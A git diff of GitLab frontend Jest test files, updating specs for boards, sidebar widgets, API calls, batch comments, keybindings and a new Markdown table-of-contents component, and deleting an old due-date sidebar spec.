diff --git a/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js b/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
index 595c3f1a289..1c4dde39585 100644
--- a/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
+++ b/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
@@ -95,6 +95,10 @@ describe('AlertsSettingsWrapper', () => {
},
provide: {
...provide,
+ alertSettings: {
+ templates: [],
+ },
+ service: {},
},
mocks: {
$apollo: {
@@ -129,12 +133,17 @@ describe('AlertsSettingsWrapper', () => {
wrapper = mount(AlertsSettingsWrapper, {
localVue,
apolloProvider: fakeApollo,
+ provide: {
+ alertSettings: {
+ templates: [],
+ },
+ service: {},
+ },
});
}
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('template', () => {
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index 139128e6d4a..f708d8c7728 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -116,6 +116,24 @@ describe('Api', () => {
});
});
});
+
+ describe('deleteProjectPackageFile', () => {
+ const packageFileId = 'package_file_id';
+
+ it('delete a package', () => {
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/packages/${packageId}/package_files/${packageFileId}`;
+
+ jest.spyOn(axios, 'delete');
+ mock.onDelete(expectedUrl).replyOnce(httpStatus.OK, true);
+
+ return Api.deleteProjectPackageFile(projectId, packageId, packageFileId).then(
+ ({ data }) => {
+ expect(data).toEqual(true);
+ expect(axios.delete).toHaveBeenCalledWith(expectedUrl);
+ },
+ );
+ });
+ });
});
describe('container registry', () => {
@@ -1503,33 +1521,55 @@ describe('Api', () => {
'Content-Type': 'application/json',
};
- describe('when usage data increment unique users is called with feature flag disabled', () => {
+ describe('when user is set', () => {
beforeEach(() => {
- gon.features = { ...gon.features, usageDataApi: false };
+ window.gon.current_user_id = 1;
});
- it('returns null', () => {
- jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl).replyOnce(httpStatus.OK, true);
+ describe('when usage data increment unique users is called with feature flag disabled', () => {
+ beforeEach(() => {
+ gon.features = { ...gon.features, usageDataApi: false };
+ });
- expect(axios.post).toHaveBeenCalledTimes(0);
- expect(Api.trackRedisHllUserEvent(event)).toEqual(null);
+ it('returns null and does not call the endpoint', () => {
+ jest.spyOn(axios, 'post');
+
+ const result = Api.trackRedisHllUserEvent(event);
+
+ expect(result).toEqual(null);
+ expect(axios.post).toHaveBeenCalledTimes(0);
+ });
+ });
+
+ describe('when usage data increment unique users is called', () => {
+ beforeEach(() => {
+ gon.features = { ...gon.features, usageDataApi: true };
+ });
+
+ it('resolves the Promise', () => {
+ jest.spyOn(axios, 'post');
+ mock.onPost(expectedUrl, { event }).replyOnce(httpStatus.OK, true);
+
+ return Api.trackRedisHllUserEvent(event).then(({ data }) => {
+ expect(data).toEqual(true);
+ expect(axios.post).toHaveBeenCalledWith(expectedUrl, postData, { headers });
+ });
+ });
});
});
- describe('when usage data increment unique users is called', () => {
+ describe('when user is not set and feature flag enabled', () => {
beforeEach(() => {
gon.features = { ...gon.features, usageDataApi: true };
});
- it('resolves the Promise', () => {
+ it('returns null and does not call the endpoint', () => {
jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl, { event }).replyOnce(httpStatus.OK, true);
- return Api.trackRedisHllUserEvent(event).then(({ data }) => {
- expect(data).toEqual(true);
- expect(axios.post).toHaveBeenCalledWith(expectedUrl, postData, { headers });
- });
+ const result = Api.trackRedisHllUserEvent(event);
+
+ expect(result).toEqual(null);
+ expect(axios.post).toHaveBeenCalledTimes(0);
});
});
});
diff --git a/spec/frontend/batch_comments/components/preview_item_spec.js b/spec/frontend/batch_comments/components/preview_item_spec.js
index 03a28ce8001..cb71edd1238 100644
--- a/spec/frontend/batch_comments/components/preview_item_spec.js
+++ b/spec/frontend/batch_comments/components/preview_item_spec.js
@@ -104,7 +104,7 @@ describe('Batch comments draft preview item component', () => {
notes: [
{
author: {
- name: 'Author Name',
+ name: "Author 'Nick' Name",
},
},
],
@@ -114,7 +114,7 @@ describe('Batch comments draft preview item component', () => {
it('renders title', () => {
expect(vm.$el.querySelector('.review-preview-item-header-text').textContent).toContain(
- "Author Name's thread",
+ "Author 'Nick' Name's thread",
);
});
diff --git a/spec/frontend/batch_comments/stores/modules/batch_comments/actions_spec.js b/spec/frontend/batch_comments/stores/modules/batch_comments/actions_spec.js
index da19265ce82..b0e9e5dd00b 100644
--- a/spec/frontend/batch_comments/stores/modules/batch_comments/actions_spec.js
+++ b/spec/frontend/batch_comments/stores/modules/batch_comments/actions_spec.js
@@ -139,9 +139,14 @@ describe('Batch comments store actions', () => {
it('commits SET_BATCH_COMMENTS_DRAFTS with returned data', (done) => {
const commit = jest.fn();
+ const dispatch = jest.fn();
const context = {
getters,
commit,
+ dispatch,
+ state: {
+ drafts: [{ line_code: '123' }, { line_code: null, discussion_id: '1' }],
+ },
};
res = { id: 1 };
mock.onAny().reply(200, res);
@@ -150,6 +155,7 @@ describe('Batch comments store actions', () => {
.fetchDrafts(context)
.then(() => {
expect(commit).toHaveBeenCalledWith('SET_BATCH_COMMENTS_DRAFTS', { id: 1 });
+ expect(dispatch).toHaveBeenCalledWith('convertToDiscussion', '1', { root: true });
})
.then(done)
.catch(done.fail);
diff --git a/spec/frontend/behaviors/shortcuts/keybindings_spec.js b/spec/frontend/behaviors/shortcuts/keybindings_spec.js
index 53ce06e78c6..3ad44a16ae1 100644
--- a/spec/frontend/behaviors/shortcuts/keybindings_spec.js
+++ b/spec/frontend/behaviors/shortcuts/keybindings_spec.js
@@ -5,6 +5,7 @@ import {
getCustomizations,
keybindingGroups,
TOGGLE_PERFORMANCE_BAR,
+ HIDE_APPEARING_CONTENT,
LOCAL_STORAGE_KEY,
WEB_IDE_COMMIT,
} from '~/behaviors/shortcuts/keybindings';
@@ -95,4 +96,14 @@ describe('~/behaviors/shortcuts/keybindings', () => {
expect(keysFor(TOGGLE_PERFORMANCE_BAR)).toEqual(['p b']);
});
});
+
+ describe('when tooltips or popovers are visible', () => {
+ beforeEach(() => {
+ setupCustomizations();
+ });
+
+ it('returns the default keybinding for the command', () => {
+ expect(keysFor(HIDE_APPEARING_CONTENT)).toEqual(['esc']);
+ });
+ });
});
diff --git a/spec/frontend/blob/components/table_contents_spec.js b/spec/frontend/blob/components/table_contents_spec.js
new file mode 100644
index 00000000000..09633dc5d5d
--- /dev/null
+++ b/spec/frontend/blob/components/table_contents_spec.js
@@ -0,0 +1,67 @@
+import { GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import TableContents from '~/blob/components/table_contents.vue';
+
+let wrapper;
+
+function createComponent() {
+ wrapper = shallowMount(TableContents);
+}
+
+async function setLoaded(loaded) {
+ document.querySelector('.blob-viewer').setAttribute('data-loaded', loaded);
+
+ await nextTick();
+}
+
+describe('Markdown table of contents component', () => {
+ beforeEach(() => {
+ setFixtures(`
+ <div class="blob-viewer" data-type="rich" data-loaded="false">
+ <h1><a href="#1"></a>Hello</h1>
+ <h2><a href="#2"></a>World</h2>
+ <h3><a href="#3"></a>Testing</h3>
+ <h2><a href="#4"></a>GitLab</h2>
+ </div>
+ `);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('not loaded', () => {
+ it('does not populate dropdown', () => {
+ createComponent();
+
+ expect(wrapper.findComponent(GlDropdownItem).exists()).toBe(false);
+ });
+ });
+
+ describe('loaded', () => {
+ it('populates dropdown', async () => {
+ createComponent();
+
+ await setLoaded(true);
+
+ const dropdownItems = wrapper.findAllComponents(GlDropdownItem);
+
+ expect(dropdownItems.exists()).toBe(true);
+ expect(dropdownItems.length).toBe(4);
+ });
+
+ it('sets padding for dropdown items', async () => {
+ createComponent();
+
+ await setLoaded(true);
+
+ const dropdownLinks = wrapper.findAll('[data-testid="tableContentsLink"]');
+
+ expect(dropdownLinks.at(0).element.style.paddingLeft).toBe('0px');
+ expect(dropdownLinks.at(1).element.style.paddingLeft).toBe('8px');
+ expect(dropdownLinks.at(2).element.style.paddingLeft).toBe('16px');
+ expect(dropdownLinks.at(3).element.style.paddingLeft).toBe('8px');
+ });
+ });
+});
diff --git a/spec/frontend/boards/board_card_inner_spec.js b/spec/frontend/boards/board_card_inner_spec.js
index 36043b09636..15ea5d4eec4 100644
--- a/spec/frontend/boards/board_card_inner_spec.js
+++ b/spec/frontend/boards/board_card_inner_spec.js
@@ -1,4 +1,4 @@
-import { GlLabel } from '@gitlab/ui';
+import { GlLabel, GlLoadingIcon } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { range } from 'lodash';
import Vuex from 'vuex';
@@ -63,6 +63,7 @@ describe('Board card component', () => {
},
stubs: {
GlLabel: true,
+ GlLoadingIcon: true,
},
mocks: {
$apollo: {
@@ -121,6 +122,10 @@ describe('Board card component', () => {
expect(wrapper.find('.board-card-assignee .avatar').exists()).toBe(false);
});
+ it('does not render loading icon', () => {
+ expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(false);
+ });
+
describe('blocked', () => {
it('renders blocked icon if issue is blocked', async () => {
createWrapper({
@@ -399,4 +404,17 @@ describe('Board card component', () => {
});
});
});
+
+ describe('loading', () => {
+ it('renders loading icon', async () => {
+ createWrapper({
+ item: {
+ ...issue,
+ isLoading: true,
+ },
+ });
+
+ expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/boards/board_list_spec.js b/spec/frontend/boards/board_list_spec.js
index bf39c3f3e42..76629c96f22 100644
--- a/spec/frontend/boards/board_list_spec.js
+++ b/spec/frontend/boards/board_list_spec.js
@@ -80,6 +80,7 @@ const createComponent = ({
rootPath: '/',
weightFeatureAvailable: false,
boardWeight: null,
+ canAdminList: true,
},
stubs: {
BoardCard,
@@ -181,12 +182,6 @@ describe('Board list component', () => {
});
});
- it('loads more issues after scrolling', () => {
- wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
-
- expect(actions.fetchItemsForList).toHaveBeenCalled();
- });
-
it('does not load issues if already loading', () => {
wrapper = createComponent({
state: { listsFlags: { 'gid://gitlab/List/1': { isLoadingMore: true } } },
diff --git a/spec/frontend/boards/boards_util_spec.js b/spec/frontend/boards/boards_util_spec.js
index 0feb1411003..289905a1948 100644
--- a/spec/frontend/boards/boards_util_spec.js
+++ b/spec/frontend/boards/boards_util_spec.js
@@ -1,17 +1,103 @@
-import { transformNotFilters } from '~/boards/boards_util';
+import { filterVariables } from '~/boards/boards_util';
-describe('transformNotFilters', () => {
- const filters = {
- 'not[labelName]': ['label'],
- 'not[assigneeUsername]': 'assignee',
- };
-
- it('formats not filters, transforms epicId to fullEpicId', () => {
- const result = transformNotFilters(filters);
-
- expect(result).toEqual({
- labelName: ['label'],
- assigneeUsername: 'assignee',
+describe('filterVariables', () => {
+ it.each([
+ [
+ 'correctly processes array filter values',
+ {
+ filters: {
+ 'not[filterA]': ['val1', 'val2'],
+ },
+ expected: {
+ not: {
+ filterA: ['val1', 'val2'],
+ },
+ },
+ },
+ ],
+ [
+ "renames a filter if 'remap' method is available",
+ {
+ filters: {
+ filterD: 'some value',
+ },
+ expected: {
+ filterA: 'some value',
+ not: {},
+ },
+ },
+ ],
+ [
+ 'correctly processes a negated filter that supports negation',
+ {
+ filters: {
+ 'not[filterA]': 'some value 1',
+ 'not[filterB]': 'some value 2',
+ },
+ expected: {
+ not: {
+ filterA: 'some value 1',
+ },
+ },
+ },
+ ],
+ [
+ 'correctly removes an unsupported filter depending on issuableType',
+ {
+ issuableType: 'epic',
+ filters: {
+ filterA: 'some value 1',
+ filterE: 'some value 2',
+ },
+ expected: {
+ filterE: 'some value 2',
+ not: {},
+ },
+ },
+ ],
+ [
+ 'applies a transform when the filter value needs to be modified',
+ {
+ filters: {
+ filterC: 'abc',
+ 'not[filterC]': 'def',
+ },
+ expected: {
+ filterC: 'ABC',
+ not: {
+ filterC: 'DEF',
+ },
+ },
+ },
+ ],
+ ])('%s', (_, { filters, issuableType = 'issue', expected }) => {
+ const result = filterVariables({
+ filters,
+ issuableType,
+ filterInfo: {
+ filterA: {
+ negatedSupport: true,
+ },
+ filterB: {
+ negatedSupport: false,
+ },
+ filterC: {
+ negatedSupport: true,
+ transform: (val) => val.toUpperCase(),
+ },
+ filterD: {
+ remap: () => 'filterA',
+ },
+ filterE: {
+ negatedSupport: true,
+ },
+ },
+ filterFields: {
+ issue: ['filterA', 'filterB', 'filterC', 'filterD'],
+ epic: ['filterE'],
+ },
});
+
+ expect(result).toEqual(expected);
});
});
diff --git a/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap b/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap
index c000f300e4d..3fb0706fd10 100644
--- a/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap
+++ b/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap
@@ -1,7 +1,7 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`BoardBlockedIcon on mouseenter on blocked icon with more than three blocking issues matches the snapshot 1`] = `
-"<div class=\\"gl-display-inline\\"><svg data-testid=\\"issue-blocked-icon\\" aria-hidden=\\"true\\" class=\\"issue-blocked-icon gl-mr-2 gl-cursor-pointer gl-icon s16\\" id=\\"blocked-icon-uniqueId\\">
+"<div class=\\"gl-display-inline\\"><svg data-testid=\\"issue-blocked-icon\\" role=\\"img\\" aria-hidden=\\"true\\" class=\\"issue-blocked-icon gl-mr-2 gl-cursor-pointer gl-icon s16\\" id=\\"blocked-icon-uniqueId\\">
<use href=\\"#issue-block\\"></use>
</svg>
<div class=\\"gl-popover\\">
diff --git a/spec/frontend/boards/components/board_card_spec.js b/spec/frontend/boards/components/board_card_spec.js
index ceafa6ead94..9a9ce7b8dc1 100644
--- a/spec/frontend/boards/components/board_card_spec.js
+++ b/spec/frontend/boards/components/board_card_spec.js
@@ -1,5 +1,6 @@
import { GlLabel } from '@gitlab/ui';
-import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import BoardCard from '~/boards/components/board_card.vue';
@@ -12,8 +13,7 @@ describe('Board card', () => {
let store;
let mockActions;
- const localVue = createLocalVue();
- localVue.use(Vuex);
+ Vue.use(Vuex);
const createStore = ({ initialState = {} } = {}) => {
mockActions = {
@@ -41,14 +41,14 @@ describe('Board card', () => {
provide = {},
mountFn = shallowMount,
stubs = { BoardCardInner },
+ item = mockIssue,
} = {}) => {
wrapper = mountFn(BoardCard, {
- localVue,
stubs,
store,
propsData: {
list: mockLabelList,
- item: mockIssue,
+ item,
disabled: false,
index: 0,
...propsData,
@@ -72,6 +72,10 @@ describe('Board card', () => {
await wrapper.vm.$nextTick();
};
+ beforeEach(() => {
+ window.gon = { features: {} };
+ });
+
afterEach(() => {
wrapper.destroy();
wrapper = null;
@@ -140,6 +144,10 @@ describe('Board card', () => {
});
describe('when using multi-select', () => {
+ beforeEach(() => {
+ window.gon = { features: { boardMultiSelect: true } };
+ });
+
it('should call vuex action "multiSelectBoardItem" with correct parameters', async () => {
await multiSelectCard();
@@ -151,4 +159,24 @@ describe('Board card', () => {
});
});
});
+
+ describe('when card is loading', () => {
+ it('card is disabled and user cannot drag', () => {
+ createStore();
+ mountComponent({ item: { ...mockIssue, isLoading: true } });
+
+ expect(wrapper.classes()).toContain('is-disabled');
+ expect(wrapper.classes()).not.toContain('user-can-drag');
+ });
+ });
+
+ describe('when card is not loading', () => {
+ it('user can drag', () => {
+ createStore();
+ mountComponent();
+
+ expect(wrapper.classes()).not.toContain('is-disabled');
+ expect(wrapper.classes()).toContain('user-can-drag');
+ });
+ });
});
diff --git a/spec/frontend/boards/components/board_content_sidebar_spec.js b/spec/frontend/boards/components/board_content_sidebar_spec.js
index 01c99a02db2..10d739c65f5 100644
--- a/spec/frontend/boards/components/board_content_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_content_sidebar_spec.js
@@ -1,13 +1,13 @@
import { GlDrawer } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vuex from 'vuex';
+import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdown_widget.vue';
import { stubComponent } from 'helpers/stub_component';
import BoardContentSidebar from '~/boards/components/board_content_sidebar.vue';
-import BoardSidebarDueDate from '~/boards/components/sidebar/board_sidebar_due_date.vue';
import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
-import BoardSidebarMilestoneSelect from '~/boards/components/sidebar/board_sidebar_milestone_select.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
import { ISSUABLE } from '~/boards/constants';
+import SidebarDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarSubscriptionsWidget from '~/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue';
import { mockIssue, mockIssueGroupPath, mockIssueProjectPath } from '../mock_data';
@@ -68,6 +68,9 @@ describe('BoardContentSidebar', () => {
iterations: {
loading: false,
},
+ attributesList: {
+ loading: false,
+ },
},
},
},
@@ -84,38 +87,41 @@ describe('BoardContentSidebar', () => {
});
it('confirms we render GlDrawer', () => {
- expect(wrapper.find(GlDrawer).exists()).toBe(true);
+ expect(wrapper.findComponent(GlDrawer).exists()).toBe(true);
});
it('does not render GlDrawer when isSidebarOpen is false', () => {
createStore({ mockGetters: { isSidebarOpen: () => false } });
createComponent();
- expect(wrapper.find(GlDrawer).exists()).toBe(false);
+ expect(wrapper.findComponent(GlDrawer).exists()).toBe(false);
});
it('applies an open attribute', () => {
- expect(wrapper.find(GlDrawer).props('open')).toBe(true);
+ expect(wrapper.findComponent(GlDrawer).props('open')).toBe(true);
});
it('renders BoardSidebarLabelsSelect', () => {
- expect(wrapper.find(BoardSidebarLabelsSelect).exists()).toBe(true);
+ expect(wrapper.findComponent(BoardSidebarLabelsSelect).exists()).toBe(true);
});
it('renders BoardSidebarTitle', () => {
- expect(wrapper.find(BoardSidebarTitle).exists()).toBe(true);
+ expect(wrapper.findComponent(BoardSidebarTitle).exists()).toBe(true);
});
- it('renders BoardSidebarDueDate', () => {
- expect(wrapper.find(BoardSidebarDueDate).exists()).toBe(true);
+ it('renders SidebarDateWidget', () => {
+ expect(wrapper.findComponent(SidebarDateWidget).exists()).toBe(true);
});
it('renders BoardSidebarSubscription', () => {
- expect(wrapper.find(SidebarSubscriptionsWidget).exists()).toBe(true);
+ expect(wrapper.findComponent(SidebarSubscriptionsWidget).exists()).toBe(true);
});
- it('renders BoardSidebarMilestoneSelect', () => {
- expect(wrapper.find(BoardSidebarMilestoneSelect).exists()).toBe(true);
+ it('renders SidebarDropdownWidget for milestones', () => {
+ expect(wrapper.findComponent(SidebarDropdownWidget).exists()).toBe(true);
+ expect(wrapper.findComponent(SidebarDropdownWidget).props('issuableAttribute')).toEqual(
+ 'milestone',
+ );
});
describe('when we emit close', () => {
@@ -128,7 +134,7 @@ describe('BoardContentSidebar', () => {
});
it('calls toggleBoardItem with correct parameters', async () => {
- wrapper.find(GlDrawer).vm.$emit('close');
+ wrapper.findComponent(GlDrawer).vm.$emit('close');
expect(toggleBoardItem).toHaveBeenCalledTimes(1);
expect(toggleBoardItem).toHaveBeenCalledWith(expect.any(Object), {
diff --git a/spec/frontend/boards/components/board_filtered_search_spec.js b/spec/frontend/boards/components/board_filtered_search_spec.js
index e27badca9de..6ac5d16e5a3 100644
--- a/spec/frontend/boards/components/board_filtered_search_spec.js
+++ b/spec/frontend/boards/components/board_filtered_search_spec.js
@@ -105,9 +105,9 @@ describe('BoardFilteredSearch', () => {
beforeEach(() => {
store = createStore();
- jest.spyOn(store, 'dispatch');
-
createComponent();
+
+ jest.spyOn(wrapper.vm, 'performSearch').mockImplementation();
});
it('sets the url params to the correct results', async () => {
diff --git a/spec/frontend/boards/components/board_form_spec.js b/spec/frontend/boards/components/board_form_spec.js
index 24fcdd528d5..80d740458dc 100644
--- a/spec/frontend/boards/components/board_form_spec.js
+++ b/spec/frontend/boards/components/board_form_spec.js
@@ -9,14 +9,12 @@ import createBoardMutation from '~/boards/graphql/board_create.mutation.graphql'
import destroyBoardMutation from '~/boards/graphql/board_destroy.mutation.graphql';
import updateBoardMutation from '~/boards/graphql/board_update.mutation.graphql';
import { createStore } from '~/boards/stores';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
import { visitUrl } from '~/lib/utils/url_utility';
jest.mock('~/lib/utils/url_utility', () => ({
visitUrl: jest.fn().mockName('visitUrlMock'),
stripFinalUrlSegment: jest.requireActual('~/lib/utils/url_utility').stripFinalUrlSegment,
}));
-jest.mock('~/flash');
const currentBoard = {
id: 1,
@@ -194,9 +192,11 @@ describe('BoardForm', () => {
expect(visitUrl).toHaveBeenCalledWith('test-path');
});
- it('shows an error flash if GraphQL mutation fails', async () => {
+ it('shows a GlAlert if GraphQL mutation fails', async () => {
mutate = jest.fn().mockRejectedValue('Houston, we have a problem');
createComponent({ canAdminBoard: true, currentPage: formType.new });
+ jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
+
fillForm();
await waitForPromises();
@@ -205,7 +205,7 @@ describe('BoardForm', () => {
await waitForPromises();
expect(visitUrl).not.toHaveBeenCalled();
- expect(createFlash).toHaveBeenCalled();
+ expect(wrapper.vm.setError).toHaveBeenCalled();
});
});
});
@@ -290,9 +290,11 @@ describe('BoardForm', () => {
expect(visitUrl).toHaveBeenCalledWith('test-path?group_by=epic');
});
- it('shows an error flash if GraphQL mutation fails', async () => {
+ it('shows a GlAlert if GraphQL mutation fails', async () => {
mutate = jest.fn().mockRejectedValue('Houston, we have a problem');
createComponent({ canAdminBoard: true, currentPage: formType.edit });
+ jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
+
findInput().trigger('keyup.enter', { metaKey: true });
await waitForPromises();
@@ -301,7 +303,7 @@ describe('BoardForm', () => {
await waitForPromises();
expect(visitUrl).not.toHaveBeenCalled();
- expect(createFlash).toHaveBeenCalled();
+ expect(wrapper.vm.setError).toHaveBeenCalled();
});
});
@@ -335,9 +337,11 @@ describe('BoardForm', () => {
expect(visitUrl).toHaveBeenCalledWith('root');
});
- it('shows an error flash if GraphQL mutation fails', async () => {
+ it('dispatches `setError` action when GraphQL mutation fails', async () => {
mutate = jest.fn().mockRejectedValue('Houston, we have a problem');
createComponent({ canAdminBoard: true, currentPage: formType.delete });
+ jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
+
findModal().vm.$emit('primary');
await waitForPromises();
@@ -346,7 +350,7 @@ describe('BoardForm', () => {
await waitForPromises();
expect(visitUrl).not.toHaveBeenCalled();
- expect(createFlash).toHaveBeenCalled();
+ expect(wrapper.vm.setError).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/boards/components/board_list_header_deprecated_spec.js b/spec/frontend/boards/components/board_list_header_deprecated_spec.js
index fdc7cd2b1d4..db79e67fe78 100644
--- a/spec/frontend/boards/components/board_list_header_deprecated_spec.js
+++ b/spec/frontend/boards/components/board_list_header_deprecated_spec.js
@@ -31,6 +31,7 @@ describe('Board List Header Component', () => {
listType = ListType.backlog,
collapsed = false,
withLocalStorage = true,
+ currentUserId = 1,
} = {}) => {
const boardId = '1';
@@ -62,6 +63,7 @@ describe('Board List Header Component', () => {
},
provide: {
boardId,
+ currentUserId,
},
});
};
@@ -100,10 +102,12 @@ describe('Board List Header Component', () => {
});
});
- it('does render when logged out', () => {
- createComponent();
+ it('does not render when logged out', () => {
+ createComponent({
+ currentUserId: null,
+ });
- expect(findAddIssueButton().exists()).toBe(true);
+ expect(findAddIssueButton().exists()).toBe(false);
});
});
@@ -143,7 +147,6 @@ describe('Board List Header Component', () => {
it("when logged in it calls list update and doesn't set localStorage", () => {
jest.spyOn(List.prototype, 'update');
- window.gon.current_user_id = 1;
createComponent({ withLocalStorage: false });
@@ -158,7 +161,7 @@ describe('Board List Header Component', () => {
it("when logged out it doesn't call list update and sets localStorage", () => {
jest.spyOn(List.prototype, 'update');
- createComponent();
+ createComponent({ currentUserId: null });
findCaret().vm.$emit('click');
diff --git a/spec/frontend/boards/components/board_list_header_spec.js b/spec/frontend/boards/components/board_list_header_spec.js
index d2dfb4148b3..0abb00e0fa5 100644
--- a/spec/frontend/boards/components/board_list_header_spec.js
+++ b/spec/frontend/boards/components/board_list_header_spec.js
@@ -28,7 +28,7 @@ describe('Board List Header Component', () => {
listType = ListType.backlog,
collapsed = false,
withLocalStorage = true,
- currentUserId = null,
+ currentUserId = 1,
} = {}) => {
const boardId = '1';
@@ -109,10 +109,12 @@ describe('Board List Header Component', () => {
});
});
- it('does render when logged out', () => {
- createComponent();
+ it('does not render when logged out', () => {
+ createComponent({
+ currentUserId: null,
+ });
- expect(findAddIssueButton().exists()).toBe(true);
+ expect(findAddIssueButton().exists()).toBe(false);
});
});
@@ -153,7 +155,9 @@ describe('Board List Header Component', () => {
});
it("when logged out it doesn't call list update and sets localStorage", async () => {
- createComponent();
+ createComponent({
+ currentUserId: null,
+ });
findCaret().vm.$emit('click');
await wrapper.vm.$nextTick();
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_due_date_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_due_date_spec.js
deleted file mode 100644
index 8fd178a0856..00000000000
--- a/spec/frontend/boards/components/sidebar/board_sidebar_due_date_spec.js
+++ /dev/null
@@ -1,137 +0,0 @@
-import { GlDatepicker } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import BoardSidebarDueDate from '~/boards/components/sidebar/board_sidebar_due_date.vue';
-import { createStore } from '~/boards/stores';
-import createFlash from '~/flash';
-
-const TEST_DUE_DATE = '2020-02-20';
-const TEST_FORMATTED_DUE_DATE = 'Feb 20, 2020';
-const TEST_PARSED_DATE = new Date(2020, 1, 20);
-const TEST_ISSUE = { id: 'gid://gitlab/Issue/1', iid: 9, dueDate: null, referencePath: 'h/b#2' };
-
-jest.mock('~/flash');
-
-describe('~/boards/components/sidebar/board_sidebar_due_date.vue', () => {
- let wrapper;
- let store;
-
- afterEach(() => {
- wrapper.destroy();
- store = null;
- wrapper = null;
- });
-
- const createWrapper = ({ dueDate = null } = {}) => {
- store = createStore();
- store.state.boardItems = { [TEST_ISSUE.id]: { ...TEST_ISSUE, dueDate } };
- store.state.activeId = TEST_ISSUE.id;
-
- wrapper = shallowMount(BoardSidebarDueDate, {
- store,
- provide: {
- canUpdate: true,
- },
- stubs: {
- 'board-editable-item': BoardEditableItem,
- },
- });
- };
-
- const findDatePicker = () => wrapper.find(GlDatepicker);
- const findResetButton = () => wrapper.find('[data-testid="reset-button"]');
- const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
-
- it('renders "None" when no due date is set', () => {
- createWrapper();
-
- expect(findCollapsed().text()).toBe('None');
- expect(findResetButton().exists()).toBe(false);
- });
-
- it('renders formatted due date with reset button when set', () => {
- createWrapper({ dueDate: TEST_DUE_DATE });
-
- expect(findCollapsed().text()).toContain(TEST_FORMATTED_DUE_DATE);
- expect(findResetButton().exists()).toBe(true);
- });
-
- describe('when due date is submitted', () => {
- beforeEach(async () => {
- createWrapper();
-
- jest.spyOn(wrapper.vm, 'setActiveIssueDueDate').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE.id].dueDate = TEST_DUE_DATE;
- });
- findDatePicker().vm.$emit('input', TEST_PARSED_DATE);
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders formatted due date with reset button', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toContain(TEST_FORMATTED_DUE_DATE);
- expect(findResetButton().exists()).toBe(true);
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueDueDate).toHaveBeenCalledWith({
- dueDate: TEST_DUE_DATE,
- projectPath: 'h/b',
- });
- });
- });
-
- describe('when due date is cleared', () => {
- beforeEach(async () => {
- createWrapper();
-
- jest.spyOn(wrapper.vm, 'setActiveIssueDueDate').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE.id].dueDate = null;
- });
- findDatePicker().vm.$emit('clear');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders "None"', () => {
- expect(wrapper.vm.setActiveIssueDueDate).toHaveBeenCalled();
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toBe('None');
- });
- });
-
- describe('when due date is resetted', () => {
- beforeEach(async () => {
- createWrapper({ dueDate: TEST_DUE_DATE });
-
- jest.spyOn(wrapper.vm, 'setActiveIssueDueDate').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE.id].dueDate = null;
- });
- findResetButton().vm.$emit('click');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders "None"', () => {
- expect(wrapper.vm.setActiveIssueDueDate).toHaveBeenCalled();
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toBe('None');
- });
- });
-
- describe('when the mutation fails', () => {
- beforeEach(async () => {
- createWrapper({ dueDate: TEST_DUE_DATE });
-
- jest.spyOn(wrapper.vm, 'setActiveIssueDueDate').mockImplementation(() => {
- throw new Error(['failed mutation']);
- });
- findDatePicker().vm.$emit('input', 'Invalid date');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders former issue due date', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toContain(TEST_FORMATTED_DUE_DATE);
- expect(createFlash).toHaveBeenCalled();
- });
- });
-});
